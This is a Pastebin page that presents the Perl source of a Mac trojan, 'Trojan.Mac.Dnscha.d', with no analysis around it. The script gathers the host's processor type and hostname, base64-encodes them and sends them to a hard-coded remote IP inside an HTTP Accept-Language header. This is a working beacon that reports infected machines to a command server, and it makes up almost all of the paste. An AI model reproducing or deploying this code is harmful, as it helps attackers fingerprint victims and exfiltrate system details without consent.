FlyFar

Trojan.Mac.Dnscha.d - Source Code

Jun 9th, 2023
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.23 KB | Cybersecurity | 0 0
  1. #!/usr/bin/perl
  2. use IO::Socket;
  3.  
  4. sub encode_base64 ($;$)
  5. {
  6.     if ($] >= 5.006) {
  7.     require bytes;
  8.     if (bytes::length($_[0]) > length($_[0]) ||
  9.         ($] >= 5.008 && $_[0] =~ /[^\0-\xFF]/))
  10.     {
  11.         require Carp;
  12.         Carp::croak("The Base64 encoding is only defined for bytes");
  13.     }
  14.     }
  15.  
  16.     use integer;
  17.  
  18.     my $eol = $_[1];
  19.     $eol = "\n" unless defined $eol;
  20.  
  21.     my $res = pack("u", $_[0]);
  22.     # Remove first character of each line, remove newlines
  23.     $res =~ s/^.//mg;
  24.     $res =~ s/\n//g;
  25.  
  26.     $res =~ tr|` -_|AA-Za-z0-9+/|;               # `# help emacs
  27.     # fix padding at the end
  28.     my $padding = (3 - length($_[0]) % 3) % 3;
  29.     $res =~ s/.{$padding}$/'=' x $padding/e if $padding;
  30.     # break encoded string into lines of no more than 76 characters each
  31.     if (length $eol) {
  32.     $res =~ s/(.{1,76})/$1$eol/g;
  33.     }
  34.     return $res;
  35. }
  36.  
  37.  
  38.  
  39. my $server="85.255.121.37";
  40. my $cmd=`uname -p;echo ";";hostname`;
  41. $cmd=~s/\n//g;
  42. my $uniqid=encode_base64("mac;".$cmd);
  43. $uniqid=~s/\n//g;
  44. my $request="GET / HTTP/1.1\r\nAccept-Language: $uniqid\r\nHost: $server\r\n\r\n";
  45.  
  46. my $socket=IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>80,Proto=>"tcp",timeout=>10) or die();
  47. print $socket $request;
  48. close($socket);
Tags: trojan mac perl
Add Comment
Please, Sign In to add comment